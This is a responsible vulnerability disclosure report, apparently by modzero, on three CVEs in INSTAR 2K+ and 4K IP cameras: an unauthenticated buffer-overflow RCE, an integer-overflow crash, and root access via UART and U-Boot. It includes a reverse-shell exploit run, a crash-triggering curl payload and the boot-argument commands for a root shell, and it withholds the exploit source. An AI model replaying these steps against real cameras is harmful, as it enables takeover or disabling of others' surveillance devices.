



INSTAR 2K+ and 4K

VULNERABILITY DISCLOSURE (REPORT)

INSTAR Deutschland GmbH

12 August 2025

Changelog

Version	Date	Author	Description
1.0	2025-08-12	modzero	Public release

Credits

The research contained in this report was conducted by Michael Imfeld.

Disclosure Timeline

Date	Comment
2025-08-05	modzero contacts INSTAR and requests a PGP key for encrypted disclosure report delivery.
2025-08-06	INSTAR responds and asks for plain text instead. modzero sends the report accordingly.
2025-08-08	INSTAR confirms the report is reviewed, the vulnerabilities are fixed, and an updated firmware has been released.
2025-08-12	modzero publishes this report.

1 Summary

INSTAR is a German manufacturer of network-based IP cameras, including the 2K+ and 4K series, which are widely used for residential and commercial surveillance. According to data from the search engine Shodan, approximately 13'000¹ INSTAR cameras are directly exposed to the public internet, making them accessible to remote attacks.

During the assessment of 2K+ series, three vulnerabilities were identified. Two of them are remotely exploitable via the devices' exposed web interface, while the third requires physical access to the devices. Notably, all three vulnerabilities can be exploited without prior authentication. All testing was performed against the latest available firmware at the time, version 3.11.1 [1124], in which the mentioned issues were confirmed to be present. The vendor's release notes for the patched firmware indicate that the 4K series is likewise vulnerable.

The first issue is a buffer overflow in the FCGI server component, triggered by improper handling of Base64-encoded HTTP Basic Authentication headers. This vulnerability is directly exploitable for remote code execution. As the vulnerable binary runs with root privileges, successful exploitation results in full system compromise.


The second vulnerability is an integer overflow in the message deserialization logic that is shared between backend components. This vulnerability leads to misinterpretation of messages which typically results in a crash of the camera and requires a reboot to recover. Under certain conditions, this vulnerability may also be exploitable for remote code execution.


The third issue identified requires physical access to the device and stems from an exposed UART debug interface. By connecting to this an attacker can interrupt the boot process and access the U-Boot bootloader. From there, the attacker can modify the boot parameters to launch a shell with elevated privileges, ultimately gaining root access without authentication.


¹ <https://www.shodan.io/search?query=http.favicon.hash%3A-1748763891>

CVEs

The following CVEs have been assigned by MITRE:


Finding	Unauthenticated Remote Code Execution due to Buffer Overflow
CVE-ID	CVE-2025-8760
CVSS	 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Finding	Denial Of Service Through Integer Overflow
CVE-ID	CVE-2025-8761
CVSS	 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Finding	Exposed Debugging UART Interface
CVE-ID	CVE-2025-8762
CVSS	 6.8 Medium (CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

2 Findings

2.1 Unauthenticated Remote Code Execution due to Buffer Overflow

Class	CWE-121: Stack-based Buffer Overflow
Component	FCGI Server
CVSS	 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Summary

By sending a specially crafted Authorization header, a stack-based buffer overflow can be triggered. This vulnerability can be exploited by an attacker to execute arbitrary commands on INSTAR 2K+ and 4K cameras. It allows full system compromise. The vulnerability can be exploited without prior authentication.

Details

INSTAR 2K+ and 4K cameras expose a web interface over the network. Incoming HTTP requests are initially handled by a `lighttpd` web server, which subsequently forwards them to a backend component named `fcgi_server` for further processing.

A vulnerability was identified in the `fcgi_server` component related to its handling of HTTP Basic Authentication headers. Specifically, the component performs Base64 decoding of the Authorization header, but the decoded output is copied into a fixed-size buffer without proper bounds checking. This introduces a stack-based buffer overflow. The vulnerable function is located at `0x00020614` in the `fcgi_server` binary.

```
1 void base64_decode(int *param_1,HTTPRequest *param_2)
2 {
3     [...]
4     char decoded_buf [516];
5     [...]
6     if (iVar6 != 0) {
7         [...]
8         if (iVar6 != 1) {
9             ptr_decoded_buf = ptr_decoded_buf + (iVar6 - 1U);
10            memcpy(ptr_decoded_buf,&local_244,iVar6 - 1U);
11        }
12    }
13    return;
14 }
```

Listing 1 - Basic Auth credentials copied into a fixed-size buffer using `memcpy` without bounds checking

Due to the absence of modern binary protections - specifically Position Independent Executable (PIE), stack canaries, and RELRO (Relocation Read-Only) - the identified buffer overflow is readily exploitable. An attacker can leverage this weakness to achieve remote code execution on INSTAR 2K+ and 4K cameras.

```
(venv)kali@kali: ~/exploit/final
File Actions Edit View Help
(venv)kali@kali:~/exploit/final$ python exploit.py https://192.168.0.3 192.168.0.1
[+] Netcat listener on port 1337
listening on [any] 1337 ...
/home/kali/exploit/venv/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host '192.168.0.3'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
  warnings.warn(
192.168.0.3 - - [05/Aug/2025 12:34:52] "GET /pwn HTTP/1.1" 200 -
connect to [192.168.0.1] from (UNKNOWN) [192.168.0.3] 51958
id
uid=0(root) gid=0(root) groups=0(root)
hostname
INSTAR
ls -l /home/ipc/bin
total 6188
--w---s--T 1 root root 0 Jan 1 11:05 A
-rwxr-xr-x 1 root root 204068 May 29 2025 NTPsec
-rwxr-xr-x 1 root root 9880 May 29 2025 confpars
-rwxr-xr-x 1 root root 133416 May 29 2025 fcgi_server
-rwxr-xr-x 1 root root 2186976 May 29 2025 homekit
-rwxr-xr-x 1 root root 1815796 May 29 2025 ipc_server
-rwxr-xr-x 1 root root 297408 May 29 2025 lighttpd
-rwxr-xr-x 1 root root 379524 May 29 2025 mosquito
-rwxr-xr-x 1 root root 252448 May 29 2025 mqtt_client
-rwxr-xr-x 1 root root 305260 May 29 2025 onvif
-rwxr-xr-x 1 root root 22084 May 29 2025 pelco_update
-rwxr-xr-x 1 root root 879 May 29 2025 reset.sh
-rwxr-xr-x 1 root root 17988 May 29 2025 resetd
-rwxr-xr-x 1 root root 667632 May 29 2025 smartp2p
-rwxr-xr-x 1 root root 18112 May 29 2025 update
[]
```


Figure 1 - Reverse shell on an INSTAR 2K+ camera obtained via buffer overflow exploit

Since the affected binary is executed with root privileges, successful exploitation results in full system compromise, granting the attacker unrestricted access to the underlying operating system.

Note

The proof-of-concept (PoC) exploit will be shared with the vendor along with this report. It will be published 90 days after the release of this report to allow sufficient time for updating.

2.2 Denial Of Service Through Integer Overflow

Class	CWE-190: Integer Overflow or Wraparound
Component	FCGI Server / IPC Server
CVSS	 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Summary

The handling of web requests to INSTAR 2K+ and 4K cameras shows a denial-of-service (DoS) vulnerability. By sending a specially crafted request, an attacker can trigger an integer overflow resulting in a crash of the backend IPC server. This renders the device unresponsive. Recovery requires a reboot. The vulnerability can be exploited without prior authentication.

Details

INSTAR 2K+ and 4K cameras expose a web interface over the network. Incoming HTTP requests are initially handled by a `lighttpd` web server, which subsequently forwards them to a backend component named `fcgi_server` for further processing. The `fcgi_server` component then encapsulates the request into a custom message format and forwards it to another backend component named `ipc_server`, which is responsible for handling the actual application logic.

In this architecture, the actual authentication logic is enforced by the backend component `ipc_server`, not by the intermediary component `fcgi_server`. As a result, it is possible to send crafted messages directly to `fcgi_server` without valid authentication and observe how they are processed and forwarded to `ipc_server`.

```
1 $ curl -k https://192.168.0.3/param.cgi -d "cmd=mod0&param1=test"
2 cmd="mod0";
3 response="204";
```

Listing 2 - Sending of an arbitrary command to the web server

When a command is sent to the `param.cgi` endpoint for example, the `fcgi_server` component serializes the request using its custom message format. This serialized message is then forwarded to the backend component `ipc_server` for execution.

The message format used for communication between the `fcgi_server` and `ipc_server` components follows a simple key-value encoding scheme with explicit type and length fields.

Each field in the message adheres to the following structure:

```

1 <key length: 1 byte><key: variable>
2 <type: 1 byte>
3 <value length: 4 bytes, little-endian>
4 <value: variable>

```

Listing 3 - Structure of message format used for communication between fcgi_server and ipc_server

For the request sent in Listing 2, the corresponding serialized message looks like this:

```

1 \4cmd\0 \3 \5\0\0\0 mod0\0
2 \6param\0 \4 \22\0\0\0
3 \7param1\0 \3 \5\0\0\0 test\0
4 \7header\0 \4 \25\0\0\0
5 \3ip\0 \3 \f\0\0\0 00192.168.0.1\0

```

Listing 4 – Serialized message from example request sent to param.cgi

As described, the message format encodes the key length using a single byte, which imposes a maximum representable value of 255. However, the fcgi_server component does not properly validate or enforce this limit when parsing incoming messages.

If a key equal to or longer than 255 bytes is supplied, the key length field wraps around due to integer overflow, causing the parser to misinterpret the actual size of the key.

```

1 $ curl -k https://192.168.0.3/param.cgi -d
  "cmd=mod0&AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAA=test"
2 cmd=" ";
3 response="303";

```

Listing 5 - Sending of long param key name to param.cgi

As demonstrated below, the key size for the crafted request in Listing 5 is explicitly set to 0, which causes the parser inside ipc_server to misinterpret the subsequent bytes in the message.

```

1 \4cmd\0 \3 \5\0\0\0 mod0\0
2 \6param\0 \4 \v\1\0\0
  \0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
  0 \3 \5\0\0\0 test\0
3 \7header\0 \4 \25\0\0\0
4 \3ip\0 \3 \f\0\0\0 00192.168.0.1\0

```

Listing 6 - Key length field set to 0 for crafted request


This causes the application to crash and become unresponsive, requiring a system reboot to recover.

```
1  terminate called after throwing an instance of 'std::invalid_argument'
2    what(): Value: Unknown type
3  --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=710, si_uid=0} ---
4  +++ killed by SIGABRT +++
```

Listing 7 - Crash output generated by the ipc_server component when processing a malformed message with an invalid key length, demonstrating the resulting denial of service

Depending on the system environment and memory management behavior, it may also be possible to exploit this vulnerability to achieve remote code execution (RCE).

2.3 Exposed Debugging UART Interface

Class	CWE-1263: Improper Physical Access Control
Component	Physical Device
CVSS	 6.8 Medium (CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Summary

The assessed INSTAR 2K+ camera exposes a UART serial interface that can be physically accessed. This interface provides direct access to the device's U-Boot bootloader. Within U-Boot, an attacker can modify the boot arguments to bypass normal boot procedures and launch a privileged shell, granting full control over the device.

Details

The assessed INSTAR 2K+ camera exposes a UART debug interface on the PCB. By connecting to this interface using a USB-to-UART adapter (e.g., FTDI, CP2102, or CH340), it is possible to interact with the device over a serial console.

Once powered on, the device displays early bootloader messages over the UART console. During the boot process, pressing any key on the serial terminal immediately after startup interrupts the automatic boot sequence and grants access to the U-Boot console - the bootloader environment used by the device.

At the U-Boot prompt, the `printenv` command can be issued to display the current environment variables. Among these variables is `bootargs`, which defines kernel parameters passed during boot.

```
1  nvt@na51055: printenv
2  arch=arm
3  [...]
4  bootargs=console=ttyS0,115200 earlyprintk nvt_pst=/dev/mmcblk2p0
   nvtemmcpart=0x400000@0x40000(fdt)ro,0x200000@0xc0000(uboot)ro,0x40000@0x2c0000(uenv),0x
   400000@0x300000(linux)ro,0x40000000@0xb00000(rootfs0),0xc000000@0x4b00000(rootfs1),0x
   40000000@0x4cb00000(rootfs2),0x10000000@0x8CF00000(rootfs11),0x10000000@0x8E300000(root
   fs12)
5  ,0xe6a34000(total) root=/dev/mmcblk2p1 rootfstype=ext4 rootwait rw
6  bootcmd=nvt_boot
7  [...]
8  vendor=novatek
9  ver=U-Boot 2019.04 (Oct 18 2023 - 11:38:25 +0000)
```

Listing 8 - Boot arguments defined in U-Boot's environment

By modifying the `bootargs` variable to include the parameter `init=/bin/sh`, and subsequently issuing the `nvt_boot` command, the device boots directly into a root shell.

This bypasses authentication mechanisms and results in full privileged access to the underlying system.

```

1  invt@na51055: setenv bootargs "console=ttyS0,115200 earlyprintk nvt_pst=/dev/mmcblk2p0
   nvtemmpart=0x40000@0x40000(fdt)ro,0x200000@0xc0000(uboot)ro,0x40000@0x2c0000(uenv),0x
   400000@0x300000(linux)ro,0x40000000@0xb00000(rootfs0),0xc000000@0x4b00000(rootfs1),0x
   40000000@0x4cb00000(rootfs2),0x1000000@0x8CF00000(rootfs11),0x10000000@0x8E300000(root
   fs12),0xe6a340@0(total) root=/dev/mmcblk2p1 rootfstype=ext4 rootwait rw init=/bin/sh"
2  nvt@na51055: nvt_boot
3  [...]
4  EXT4-fs (mmcblk2p1): recovery complete
5  EXT4-fs (mmcblk2p1): mounted filesystem with ordered data mode. Opts: (null)
6  VFS: Mounted root (ext4 filesystem) on device 179:1.
7  devtmpfs: mounted
8  Freeing unused kernel memory: 1024K
9  Run /bin/sh as init process
10 /bin/sh: can't access tty; job control turned off
11 / # id
12 uid=0(root) gid=0(root)
13 / # hostname
14 INSTAR

```

Listing 9 - Tampering with boot arguments within U-Boot to start a privileged shell

This process demonstrates a physical attack vector whereby an unauthenticated attacker with physical access to the device can gain unrestricted root-level control via the UART interface.

Note

This finding could only be verified on the tested 2K+ series camera. However, modzero suspects that the 4K series is likely affected as well.